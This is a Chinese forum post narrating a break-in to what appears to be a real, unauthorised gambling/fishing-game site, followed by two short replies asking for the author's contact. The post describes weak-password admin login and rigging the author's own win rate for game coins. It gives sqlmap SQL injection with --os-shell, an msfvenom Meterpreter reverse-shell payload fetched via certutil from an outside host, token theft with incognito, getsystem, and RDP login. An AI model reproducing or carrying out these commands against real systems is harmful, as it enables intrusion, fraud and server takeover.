# 棋牌站点之提权【通过】

**URL:** <https://forum.90sec.com/t/topic/945>\
**Category:** 账号审核\
**Created:** [2020 年4 月 12 日 06:12 UTC](https://forum.90sec.com/t/topic/945 "2020-04-12T06:12:55Z")\
**Posts on this page:** 3\
**Page:** 1

<div class="post-metadata">

作者： ![hs4cky](https://forum.90sec.com/letter_avatar_proxy/v4/letter/h/3da27b/32.png) [@hs4cky](https://forum.90sec.com/u/hs4cky)\
发布日期： [2020 年4 月 12 日 06:12 UTC](https://forum.90sec.com/t/topic/945/1 "2020-04-12T06:12:55Z")

</div>

## 序言

![image](https://forum.90sec.com/uploads/default/original/2X/2/271792eea00aa29940d814ed9dbe6eca7b21dbe4.jpeg)

在某某附近人发来送￥的邀请截图

在棋牌捕鱼上面把赠送的金额打光之后、随之来做个渗透测试....通过意见反馈打到后台地址以及cookie过期....之后

![image](https://forum.90sec.com/uploads/default/original/2X/3/38cc9690d4ddf54c7e0aa606d3c3821581376a6e.png)

开局一个后台

 ![image](https://forum.90sec.com/uploads/default/original/2X/9/912ac5d9f8896a01c3cc9b5b547e9b404b5aa789.jpeg)

界面挺不错的有点高级高级的感觉

咱先来试试弱口令

 ![image](https://forum.90sec.com/uploads/default/original/2X/7/73360867f5880d39aae29ada04508587d67d9ebd.png)

咦....直接进去了

随后把账户的胜利调到了百分比

 ![image](https://forum.90sec.com/uploads/default/original/2X/f/f800052c0753908b749f00ca1a2666b8dd08f584.png)

 ![image](https://forum.90sec.com/uploads/default/original/2X/c/c94bb24e2e7fdced232cbf35ff8f5be5785b62e8.jpeg)

打了一上午鱼之后，金币高达52w

突然感觉好像有点什么不对，，，，咱是来做渗透的不是来捕鱼的吧

渗透棋牌不登陆到服务器界面怎么合适呢

![image](https://forum.90sec.com/uploads/default/original/2X/c/c3525d6b6ab26865807cc9ff5509a3a65cf2cb5f.png)

咳咳...继续渗透

后台没有上传点 配置文件也不知道路径在哪 ...有点棘手

我们回到登陆框 在账户上加个单引号试试看看有没有sqli

 ![image](https://forum.90sec.com/uploads/default/original/2X/6/67eb78a4e9e7e90de3297b145443a38b6a9b2733.jpeg)

嗯哼..点登陆没反应抓包sqlmap一把梭

 ![image](https://forum.90sec.com/uploads/default/original/2X/7/75bb3dbf1470a91386c95dafbe098021d0cc739c.png)

嗯...很强 存在延时注入

我们继续看看是否dba权限

 ![image](https://forum.90sec.com/uploads/default/original/2X/a/a69e9013817a213d98700e502198cd087c8ef314.png)

ture看来运气很好啊 直接--os-shell

 ![image](https://forum.90sec.com/uploads/default/original/2X/a/a560ec557e7c1c790b80ca943782053812700ac1.png)

权限有点小啊 ，，，但问题不大 掏出我们的msf

msfvenom -p windows/meterpreter/reverse\_tcp lhost="外网ip地址" lport="监听端口" -f exe \> msf.exe 生成木马

**放置外网方便使我们的目标服务器下载**

**先在目标服务器创建一个放置木马的文件夹**

md c:\test

**我们使用certutil.exe进行下载**

certutil.exe -urlcache -split -f “木马下载地址” C:\test\test.exe

![image](https://forum.90sec.com/uploads/default/original/2X/8/8559695c9bbb5c832e02b405fb32fc310fbcd7ca.png)

木马下载成功我们回到msf

设置使用exploit/multi/handler模块

![image](https://forum.90sec.com/uploads/default/original/2X/8/8ed68106f59ba246b5d9fd391f36da9bdc7482f1.png)

设置payload

 ![image](https://forum.90sec.com/uploads/default/original/2X/8/8a0b0b95fedcd6b677c63c10ac385c077bef25a5.png)

show options 看看需要配置的参数

 ![image](https://forum.90sec.com/uploads/default/original/2X/b/b3ddc4f082fc8b583ab7e364deee110cad4c45ba.png)

set LHOST “外网ip” //于木马的ip一致

set LPORT "端口" //于木马的监听端口一致

随后 run执行

![image](https://forum.90sec.com/uploads/default/original/2X/d/da8c6dbc56dbe03e3fc37f2ff47a3cab016864eb.png)

紧接着目标服务器运行木马

 ![image](https://forum.90sec.com/uploads/default/original/2X/6/6b803717a1d81bf5769cff83b3e4a25e89fda820.png)

成功反弹shell

 ![image](https://forum.90sec.com/uploads/default/original/2X/0/0a2e80db223b562f22db5f098e91114267141ce2.png)

![image](https://forum.90sec.com/uploads/default/original/2X/e/ee5c3c67cb6cd50aff33a50682e0a7c43a3467fc.png)

因为我们的权限太小所以我们现在要先进行提权

使用use incognito来加载会话令牌模块

然后list\_tokens -u来列出会话令牌

 ![image](https://forum.90sec.com/uploads/default/original/2X/3/3634655671e254363c94c7be40d06d76cbaaa45b.png)

使用impersonate\_token "WIN-IGSV8O3CA7E\Administrator" 盗取 administrator 令牌 getuid查看一下

 ![image](https://forum.90sec.com/uploads/default/original/2X/d/df5e6d51d6fd205a102276b61fddee5ae1e46511.png)

嘿嘿嘿 ![image](https://forum.90sec.com/uploads/default/original/2X/3/3523fb9d46b69fbf698c7cdd0b869cae616aea94.png)

最最最后使用getsystem来获取system权限

 ![image](https://forum.90sec.com/uploads/default/original/2X/e/e7bd695c5d50cba7e411bcdf26eef81c62b00e3c.png)

咳咳 接下来就是shell进入

![image](https://forum.90sec.com/uploads/default/original/2X/f/f0243c88c8497dde74df47c80a02747e66072182.png)

cmd提取命令一把梭

接下来就是快快乐乐的登陆远程服务器了

美滋滋的~~![image](https://forum.90sec.com/uploads/default/original/2X/d/d97935764d339ecc0dcba3c752cbab1a9f017b18.png)

（然而事情没那么简单~）

咦....

 ![image](https://forum.90sec.com/uploads/default/original/2X/a/a9b4ca08f21eb115d8f277f45cc288c32c01da33.png)

内部出现错误 咋回事了....难道远程端口被改了吗。。。。

![image](https://forum.90sec.com/uploads/default/original/2X/1/1988541a59af12da1294816a3c021bf7247390bb.png)

nmap出动扫描一下端口

![image](https://forum.90sec.com/uploads/default/original/2X/9/9e8b03b4b98ab6db109660bbf134f9a91c02142e.png)

没有开放3389 ...... 确定以及肯定是改端口了我们回到shell看看

执行 tasklist /svc

找到svchost.exe进程下termservice服务对应的PID

![image](https://forum.90sec.com/uploads/default/original/2X/1/1a697b5c78a20984e9197fb0d0ff004dc315c8f9.png)

再执行netstat -ano

根据PID号查找对应远程端口，远程端口为5566端口

 ![image](https://forum.90sec.com/uploads/default/original/2X/4/42899ccf911c45a533453297c7f235ad5fc067bc.png)

嘿~这次能完美手工了吧

 ![image](https://forum.90sec.com/uploads/default/original/2X/f/f617f032ebd5c8606f7783acbedc8e77ec8ae5e4.png)

 ![image](https://forum.90sec.com/uploads/default/original/2X/6/66250ee227b2975c491fc1393dbe82430878a165.png)

Very Good~ ![image](https://forum.90sec.com/uploads/default/original/2X/b/bc2aca8b842d5ada4055c2e739c2fc8e49176b9a.png)

_Poll ([view on site](https://forum.90sec.com/t/topic/945/1))_

---

<div class="post-metadata">

作者： ![a547921130](https://forum.90sec.com/letter_avatar_proxy/v4/letter/a/e9bcb4/32.png) [@a547921130](https://forum.90sec.com/u/a547921130)\
发布日期： [2023 年5 月 18 日 16:15 UTC](https://forum.90sec.com/t/topic/945/2 "2023-05-18T16:15:16Z")

</div>

有没有联系方式

---

<div class="post-metadata">

作者： ![234789](https://forum.90sec.com/letter_avatar_proxy/v4/letter/2/f1d935/32.png) [@234789](https://forum.90sec.com/u/234789)\
发布日期： [2024 年2 月 26 日 00:16 UTC](https://forum.90sec.com/t/topic/945/3 "2024-02-26T00:16:44Z")

</div>

飞机多少